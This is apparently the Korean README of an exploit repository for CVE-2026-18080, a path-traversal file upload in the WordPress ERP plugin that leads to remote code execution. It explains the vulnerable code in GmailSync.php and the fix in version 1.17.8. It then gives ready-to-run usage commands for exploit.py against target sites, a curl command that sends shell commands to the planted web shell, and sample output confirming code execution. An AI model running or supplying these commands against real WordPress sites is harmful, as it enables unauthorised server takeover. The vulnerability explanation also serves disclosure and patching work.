
CVE-2026-18080에 대한 익스플로잇으로, ERP Complete HR, Accounting & CRM Suite에서 인증 없이 임의 파일 업로드가 가능하여 RCE(원격 코드 실행)로 이어지는 취약점입니다. 자동화된 공격을 위한 Python 및 PHP 스크립트가 포함되어 있습니다.
| 필드 | 값 |
|---|
| CVE | https://nvd.nist.gov/vuln/detail/CVE-2026-18080 |
| Wordfence | https://www.wordfence.com/threat-intel/vulnerabilities/id/b9d11eb9-5e18-459f-a9d4-cccb1d593402 |
| 패치 | https://plugins.trac.wordpress.org/changeset/3656848/erp |
| CVSS | 9.8 (Critical) |
| CWE | CWE-434 (위험한 유형의 파일 무제한 업로드) |
| 영향 범위 | ERP 플러그인 버전 <= 1.17.7 (1.17.8에서 수정됨) |
ERP 플러그인의 GmailSync.php에 있는 save_attachments() 함수는 경로 정규화 없이 IMAP에서 수신된 이메일 첨부 파일을 처리합니다. 공격자는 ../../plugins/shell.php와 같은 파일 이름과 플러그인의 예상 패턴과 일치하는 위조된 References 헤더를 포함한 이메일을 제작할 수 있습니다. 크론 기반 IMAP 동기화 작업은 .htaccess로 보호되는 crm-attachments/ 디렉터리 밖의 wp-content/ 아래의 모든 쓰기 가능한 경로에 파일을 작성합니다.
GmailSync.php (v1.17.7):
$name = $item['name']; // basename() 또는 경로 정규화 없음
$file = wp_check_filetype( $item['name'] );
// ...
$saved = $wp_filesystem->put_contents( $dir . $name, $item['data'] );
../../plugins/shell.php 파일 이름이 $dir (wp-content/uploads/crm-attachments/)과 연결되면 wp-content/plugins/shell.php로 해석됩니다 — PHP 실행이 허용되는 디렉터리입니다.
수정 버전(v1.17.8)은 sanitize_attachment_filename()을 추가하여 basename()을 통해 디렉터리 구성 요소를 제거하고, 경로 구분자를 거부하며, 위험한 확장자를 차단합니다.
python3 exploit.py -t https://wordpress.ddev.site
python3 exploit.py -t https://target.com --shell evil.php --path themes
python3 exploit.py -t https://target.com --phpinfo
업로드 성공 후:
curl -X POST -d 'cmd=id' 'https://target.com/wp-content/plugins/cve-2026-18080.php'
RESULT: [{"name":"../../plugins/cve-2026-18080.php","slug":"../../plugins/cve-2026-18080.php","path":".../crm-attachments/../../plugins/cve-2026-18080.php"}]
SUCCESS: wp-content/plugins/cve-2026-18080.php (57 bytes)
RCE: uid=1000(god) gid=1000(god)
| 파일 | 설명 |
|---|---|
exploit.py | wp-cli을 사용하는 Python 악용 스크립트 |
exploit.php | wp eval-file용 독립형 PHP 악용 스크립트 |
README.md | 이 파일 |